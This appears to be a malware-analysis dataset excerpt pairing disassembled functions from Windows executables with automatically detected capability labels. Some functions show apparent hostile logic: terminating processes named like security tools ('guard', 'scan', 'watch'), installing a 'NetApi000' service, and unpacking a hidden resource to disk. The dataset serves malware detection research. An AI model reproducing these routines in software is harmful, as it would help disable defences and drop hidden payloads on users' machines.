joyce8/EMBER2024-capa huggingface dataset:
Function at 0x45ca2c
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x464664
call fcn.0044edc4
sub esp, 0x18
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], esi
mov eax, dword [esi + 0x48]
mov edi, dword [esi + 0x44]
mov dword [ebp - 0x18], eax
call fcn.004624cf
cmp dword [esi + 0x40], 0
mov ebx, dword [eax + 0xc]
je 0x45ca6b
call fcn.004624cf
mov ebx, dword [eax + 0xc]
push 5
push dword [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.DLL_LoadResource]
mov edi, eax
test edi, edi
je 0x45ca79
push edi
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jne 0x45ca87
or eax, 0xffffffff
jmp 0x45cb6f
mov ecx, esi
call fcn.0045c9a2
mov dword [ebp - 0x14], eax
call fcn.0045d999
xor edi, edi
cmp dword [ebp - 0x14], edi
mov dword [ebp - 0x20], edi
je 0x45cabe
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x45cabe
push edi
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x20], 1
push esi
mov dword [ebp - 4], edi
call fcn.0045d94d
push dword [ebp - 0x14]
call fcn.0045d47e
push ebx
push eax
push dword [ebp - 0x18]
mov ecx, esi
call fcn.0045c73a
cmp eax, edi
je 0x45cb31
test byte [esi + 0x24], 0x10
je 0x45caff
push 4
mov ecx, esi
pop ebx
call fcn.0045ce7e
test ah, 1
je 0x45caf7
push 5
pop ebx
push ebx
mov ecx, esi
call fcn.0045f4a4
cmp dword [esi + 0x1c], edi
je 0x45cb31
push 0x97
push edi
push edi
push edi
push edi
push edi
mov ecx, esi
call fcn.0045ceb2
jmp 0x45cb31
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x20], edi
je 0x45cb45
push 1
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_EnableWindow]
cmp dword [ebp - 0x14], edi
je 0x45cb5e
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x1c]
jne 0x45cb5e
push dword [ebp - 0x14]
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x58]
mov ecx, esi
call fcn.0045c9dc
mov eax, dword [esi + 0x2c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x45f352
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x45f394
call fcn.004624cf
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
cmp eax, edi
je 0x45f394
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_LoadResource]
cmp eax, edi
jne 0x45f38b
xor eax, eax
jmp 0x45f39c
push eax
call dword [sym.imp.KERNEL32.DLL_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0045f3a2
pop edi
pop esi
pop ebx
ret 4
Function at 0x4629c8
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4629f6
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_TlsGetValue]
test eax, eax
je 0x462a14
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0046292e
jmp 0x462a14
mov eax, dword [esi + 0x14]
test eax, eax
je 0x462a14
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0046292e
test edi, edi
mov eax, edi
jne 0x4629fe
pop edi
push ebx
call dword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x1002063
Capabilities:
Terminate process

Disassembly:
push 0x10
push 0x1002558
call fcn.010021f4
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x1c], ebx
mov edi, 0x100437c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x1001e69
cmp eax, esi
jne 0x1001e5c
xor esi, esi
inc esi
mov dword [ebp - 0x1c], esi
jmp 0x1001e6c
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1001e43
xor esi, esi
inc esi
mov eax, dword [0x1004378]
cmp eax, esi
jne 0x1001e7f
push 0x1f
call sub.msvcrt.dll__amsg_exit
pop ecx
jmp 0x1001eba
mov eax, dword [0x1004378]
test eax, eax
jne 0x1001eb4
mov dword [0x1004378], esi
push 0x1001194
push 0x1001188
call fcn.01001dc0
pop ecx
pop ecx
test eax, eax
je 0x1001eba
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x1001f84
mov dword [0x1004038], esi
mov eax, dword [0x1004378]
cmp eax, esi
jne 0x1001ede
push 0x1001184
push 0x100117c
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x1004378], 2
cmp dword [ebp - 0x1c], ebx
jne 0x1001eeb
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x1004380], ebx
je 0x1001f0c
push 0x1004380
call fcn.0100216b
pop ecx
test eax, eax
je 0x1001f0c
push ebx
push 2
push ebx
call dword [0x1004380]
push dword [0x1004020]
push dword [0x1004024]
push dword [0x100401c]
call fcn.01001d45
add esp, 0xc
mov dword [0x1004034], eax
cmp dword [0x1004028], ebx
jne 0x1001f6a
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov eax, dword [ebp - 0x14]
mov ecx, dword [eax]
mov ecx, dword [ecx]
mov dword [ebp - 0x20], ecx
push eax
push ecx
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x1004038], ebx
jne 0x1001f78
call dword [sym.imp.msvcrt.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x1004034]
call fcn.01002239
ret
call fcn.0100233e
jmp 0x1001e21

Function at 0x10020e0
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
cmp word [ecx], 0x5a4d
je 0x10020f3
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x10020ef
xor ecx, ecx
cmp word [eax + 0x18], 0x10b
sete cl
mov eax, ecx
pop ebp
ret

Function at 0x1002120
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
test esi, esi
push edi
lea eax, [eax + ecx + 0x18]
jbe 0x100215f
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x1002155
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x1002161
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x1002145
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x401aef
Capabilities:
Delete registry key

Disassembly:
mov eax, 0x407ed4
call sub.MSVCRT.dll__EH_prolog
push ecx
push ebx
push esi
lea eax, [ebp - 0x10]
xor ebx, ebx
push eax
push 0xf003f
push ebx
mov esi, SysStringLen
push dword [ebp + 8]
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401b30
push dword [ebp + 8]
push esi
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov bl, 1
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
mov al, bl
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret

Function at 0x401b93
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov eax, 0x407f04
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x134
push ebx
push esi
push edi
push 0x49
xor esi, esi
pop ecx
xor eax, eax
lea edi, [ebp - 0x13c]
mov dword [ebp - 0x140], esi
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::CString_1
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], esi
call sub.MFC42.DLL_CString::CString_1
push 0x40e090
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 1
call fcn.004078d0
push esi
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
or ebx, 0xffffffff
mov dword [ebp - 0x18], eax
cmp eax, ebx
je 0x401d0a
lea ecx, [ebp - 0x140]
mov dword [ebp - 0x140], 0x128
push ecx
push eax
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x401d0a
mov edi, dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea eax, [ebp - 0x11c]
lea ecx, [ebp - 0x10]
push eax
call fcn.004078d0
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::MakeLower
push 0x40c39c
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::Find
cmp eax, ebx
jne 0x401cb9
push 0x40c398
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::Find
cmp eax, ebx
jne 0x401cb9
push str.twister
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::Find
cmp eax, ebx
jne 0x401cb9
push 0x40c38c
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::Find
cmp eax, ebx
jne 0x401cb9
push str.watch
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::Find
cmp eax, ebx
jne 0x401cb9
push str.kissvc
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::Find
cmp eax, ebx
jne 0x401cb9
push str.scan
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::Find
cmp eax, ebx
jne 0x401cb9
push str.guard
lea ecx, [ebp - 0x10]
call sub.MFC42.DLL_CString::Find
cmp eax, ebx
je 0x401cee
push 0x40c368
push 0x40c364
call dword [sym.imp.USER32.dll_FindWindowA]
push dword [ebp - 0x138]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
test esi, esi
je 0x401ceb
push 1
push esi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push esi
call edi
lea eax, [ebp - 0x140]
push eax
push dword [ebp - 0x18]
call sub.KERNEL32.DLL_Process32Next
test eax, eax
jne 0x401c1a
push dword [ebp - 0x18]
call edi
and byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x401d6f
Capabilities:
Parse pe header

Disassembly:
mov eax, dword [esp + 4]
cmp word [eax], 0x5a4d
jne 0x401da7
mov ecx, dword [eax + 0x3c]
add eax, ecx
mov ecx, 0x4550
cmp dword [eax], ecx
jne 0x401da7
mov edx, dword [esp + 8]
mov dword [edx], eax
cmp dword [eax], ecx
jne 0x401da7
mov ecx, dword [esp + 0xc]
add eax, 4
mov dword [edx], eax
add eax, 0x14
mov dword [ecx], eax
cmp word [eax], 0x10b
je 0x401daa
xor eax, eax
ret
mov ecx, dword [esp + 0x10]
add eax, 0xe0
push 1
mov dword [ecx], eax
pop eax
ret

Function at 0x401f7e
Capabilities:
Create service
Start service

Disassembly:
push ebp
push esi
push edi
xor esi, esi
push 2
push esi
push esi
or edi, 0xffffffff
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebp, eax
cmp ebp, esi
je 0x401ffe
push ebx
push esi
push esi
push esi
push esi
push esi
push dword [esp + 0x28]
mov edi, str.NetApi000
push esi
push 3
push 1
push 0x10
push edi
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebx, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x431
jne 0x401fd0
push 0x10
push edi
push ebp
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, eax
push esi
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push esi
push esi
push 3
push esi
push esi
push 0xc0000000
push str..NetApi000DOS
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
mov edi, eax
call esi
push ebp
call esi
pop ebx
mov eax, edi
pop edi
pop esi
pop ebp
ret

Function at 0x402004
Capabilities:
Delete service
Stop service

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 2
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
je 0x402061
push esi
push edi
push 0x10020
push str.NetApi000
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov edi, eax
test edi, edi
je 0x40205c
lea eax, [ebp - 0x1c]
push eax
push 1
push edi
call dword [sym.imp.ADVAPI32.dll_ControlService]
push edi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push edi
call esi
push ebx
call esi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x402158
Capabilities:
Set file attributes

Disassembly:
push 0
push dword [esp + 8]
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea ecx, [esp + 4]
jmp sub.MFC42.DLL_CString::CString
Function at 0x403308
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov eax, 0x408184
call sub.MSVCRT.dll__EH_prolog
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
mov dword [ebp - 4], edi
movzx eax, word [ebp + 0xc]
push dword [ebp + 0x10]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_FindResourceA]
mov ebx, eax
cmp ebx, edi
je 0x4033ff
push ebx
push edi
call dword [sym.imp.KERNEL32.DLL_SizeofResource]
push ebx
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_LoadResource]
cmp eax, edi
mov dword [ebp - 0x10], eax
je 0x4033ff
push edi
push edi
push 2
push edi
push edi
push 0x40000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
cmp eax, edi
mov dword [ebp + 0xc], eax
je 0x4033ff
mov ebx, dword [sym.imp.MSVCRT.dll_malloc]
push esi
call ebx
push esi
mov edi, eax
call ebx
pop ecx
mov ebx, eax
test edi, edi
pop ecx
je 0x4033fd
test ebx, ebx
je 0x4033fd
push esi
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_LockResource]
push eax
push ebx
call sub.MSVCRT.dll_memcpy
add esp, 0xc
xor ecx, ecx
test esi, esi
jbe 0x4033b4
lea eax, [ebx + esi - 1]
mov dl, byte [eax]
mov byte [ecx + edi], dl
inc ecx
dec eax
cmp ecx, esi
jb 0x4033a9
xor eax, eax
cmp byte [edi], 0xd
jne 0x4033d1
push 1
pop ecx
cmp esi, ecx
mov eax, ecx
jbe 0x4033d1
mov dl, byte [ecx + edi]
not dl
mov byte [ecx + edi], dl
inc ecx
cmp ecx, esi
jb 0x4033c4
lea ecx, [ebp - 0x14]
push 0
sub esi, eax
push ecx
add eax, edi
push esi
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push edi
mov esi, eax
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edi, esi
jmp 0x4033ff
xor edi, edi
and byte [ebp - 4], 0
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x10]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0xc
Function at 0x40342a
Capabilities:
Read file on windows

Disassembly:
mov eax, 0x408198
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x28
push ebx
push esi
push edi
and dword [ebp - 0x10], 0
lea eax, [ebp - 0x34]
push eax
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__stat]
push 0x40c4f8
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_fopen]
mov ebx, eax
add esp, 0x10
test ebx, ebx
jne 0x403469
mov bl, 1
jmp 0x4034ec
mov edi, 0x400
push edi
call dword [sym.imp.MSVCRT.dll_malloc]
mov esi, eax
pop ecx
test esi, esi
je 0x403462
push ebx
push edi
push 1
push esi
call dword [sym.imp.MSVCRT.dll_fread]
push ebx
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 0x14
xor eax, eax
cmp byte [eax + esi], 0x32
jne 0x4034ca
cmp byte [eax + esi + 1], 0x2e
jne 0x4034ca
cmp byte [eax + esi + 2], 0x30
jne 0x4034ca
cmp byte [eax + esi + 3], 0x33
jne 0x4034ca
cmp byte [eax + esi + 4], 0
jne 0x4034ca
cmp byte [eax + esi + 5], 0x55
jne 0x4034ca
cmp byte [eax + esi + 6], 0x50
jne 0x4034ca
cmp byte [eax + esi + 7], 0x58
je 0x4034d1
inc eax
cmp eax, edi
jl 0x403493
jmp 0x4034d8
mov dword [ebp - 0x10], 1
push esi
call dword [sym.imp.MSVCRT.dll_free]
cmp dword [ebp - 0x10], 0
pop ecx
jg 0x403462
xor bl, bl
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
mov al, bl
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x403acf
Capabilities:
Enumerate gui resources

Disassembly:
push esi
push edi
push 5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
mov esi, dword [sym.imp.USER32.dll_GetWindow]
push eax
call esi
push 2
push eax
call esi
mov edi, eax
test edi, edi
jbe 0x403af9
push edi
call fcn.00403509
pop ecx
push 2
push edi
jmp 0x403ae5
push 0
push 0x403abf
call dword [sym.imp.USER32.dll_EnumWindows]
pop edi
pop esi
ret

Function at 0x403b09
Capabilities:
Set file attributes

Disassembly:
mov eax, 0x4081d0
call sub.MSVCRT.dll__EH_prolog
push ecx
push ecx
push esi
mov esi, ecx
and dword [ebp - 4], 0
push 0
push ecx
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
call sub.MFC42.DLL_CString::CString_2
call fcn.00402158
pop ecx
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
push ecx
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.sexe
call fcn.00407918
push 0xc4
push ecx
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString_2
and byte [ebp - 4], 0
mov ecx, esi
call fcn.00403308
push 6
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop esi
mov dword fs:[0], ecx
leave
ret 4
Function at 0x403b95
Capabilities:
Copy file
Create process on windows
Get file attributes
Set file attributes

Disassembly:
mov eax, 0x4081f4
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x1c
push ebx
push esi
mov esi, 0x40d8b0
push edi
mov dword [ebp - 0x1c], ecx
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
xor ebx, ebx
mov dword [ebp - 0x24], eax
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea ecx, [ebp - 0x28]
call sub.MFC42.DLL_CString::CString_1
lea ecx, [ebp - 0x10]
mov dword [ebp - 4], ebx
call sub.MFC42.DLL_CString::CString_1
push 0x40d0d0
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call fcn.004078ee
mov edi, dword [sym.imp.KERNEL32.DLL_CopyFileA]
push ebx
push dword [ebp - 0x10]
push esi
call edi
mov dword [ebp - 0x18], 0x14
mov ecx, dword [ebp - 0x1c]
push 1
push ebx
push 1
push ebx
push dword [ebp - 0x10]
call fcn.004067bd
cmp eax, 0x7d8
jne 0x403cae
push dword [ebp - 0x10]
call dword [sym.imp.MSVCRT.dll__unlink]
pop ecx
lea eax, [ebp - 0x20]
push 2
push eax
mov ecx, 0x40d0d0
call sub.MFC42.DLL_CString::Left
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 2
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
push eax
mov eax, dword [ebp - 0x1c]
push dword [eax + 0xa4d]
mov eax, dword [ebp - 0x14]
push dword [eax]
lea eax, [ebp - 0x10]
push str._s_s._d.exe
push eax
call sub.MFC42.DLL_CString::Format
add esp, 0x14
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
push ebx
push dword [ebp - 0x10]
push esi
call edi
mov dword [ebp - 0x14], ebx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
add eax, ecx
push eax
push eax
push eax
push ebx
push 0x10
call dword [sym.imp.USER32.dll_BroadcastSystemMessage]
inc dword [ebp - 0x18]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 5
jl 0x403c72
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
push ebx
push str.explorer.exe
call dword [sym.imp.KERNEL32.DLL_WinExec]
jmp 0x403bf9
mov edi, dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push 6
push dword [ebp - 0x10]
call edi
push dword [ebp - 0x24]
push esi
call edi
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], bl
call sub.MFC42.DLL_CString::CString
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x28]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x4067bd
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push esi
push edi
push 0x44
xor esi, esi
pop edi
lea eax, [ebp - 0x58]
push edi
push esi
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
cmp dword [ebp + 0x18], esi
mov dword [ebp - 0x58], edi
jne 0x4067eb
mov dword [ebp - 0x2c], 1
mov word [ebp - 0x28], si
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x58]
push eax
push esi
push esi
push pe_nt_image_headers32
push esi
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateProcessA]
test eax, eax
jne 0x406811
mov eax, 0x7d8
jmp 0x406854
cmp dword [ebp + 0x10], esi
mov edi, dword [ebp - 0x14]
jne 0x406842
push 0x1388
push edi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
je 0x406837
push 1
push edi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push 1
pop eax
jmp 0x406854
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.DLL_GetExitCodeProcess]
cmp dword [ebp + 0x14], esi
je 0x406851
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__unlink]
pop ecx
mov eax, dword [ebp - 4]
pop edi
pop esi
leave
ret 0x14
Function at 0x406f21
Capabilities:
Check if file exists
Get file attributes
Set file attributes

Disassembly:
mov eax, 0x408558
call sub.MSVCRT.dll__EH_prolog
sub esp, 0x18
push esi
push edi
mov esi, ecx
and dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString_1
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString_1
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString_1
push 0x66
push 0x69
push 0x70
push 0x2e
push 0x65
push 0x6c
push 0x69
push 0x66
push 0x65
push 0x67
push 0x61
push 0x70
lea eax, [ebp - 0x14]
push str._c_c_c_c_c_c_c_c_c_c_c_c
push eax
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::Format
add esp, 0x38
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x18]
push eax
call sub.MFC42.DLL_operator
push eax
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 4
call fcn.004078ee
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 3
call sub.MFC42.DLL_CString::CString
push ecx
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
call sub.MFC42.DLL_CString::CString_2
mov ecx, esi
call fcn.00406ced
push 0
push ecx
lea eax, [ebp - 0x10]
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
call sub.MFC42.DLL_CString::CString_2
call fcn.00402158
pop ecx
lea eax, [ebp - 0x10]
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
call sub.MFC42.DLL_CString::CString_2
mov ecx, esi
call fcn.00402196
push ecx
lea eax, [ebp - 0x10]
mov ecx, esp
mov dword [ebp - 0x20], esp
push eax
call sub.MFC42.DLL_CString::CString_2
mov byte [ebp - 4], 5
push ecx
mov ecx, esp
mov dword [ebp - 0x24], esp
push 0x40d0d4
call fcn.00407918
mov ecx, esi
mov byte [ebp - 4], 3
call fcn.00403138
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
xor edi, edi
call esi
cmp eax, 0xffffffff
jne 0x407042
push 0x3c
inc edi
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp edi, 0x14
jg 0x407042
push dword [ebp - 0x10]
jmp 0x407028
push 6
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 2
call sub.MFC42.DLL_CString::CString
lea ecx, [ebp - 0x10]
mov byte [ebp - 4], 1
call sub.MFC42.DLL_CString::CString
and byte [ebp - 4], 0
lea ecx, [ebp - 0x14]
call sub.MFC42.DLL_CString::CString
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
leave
ret 4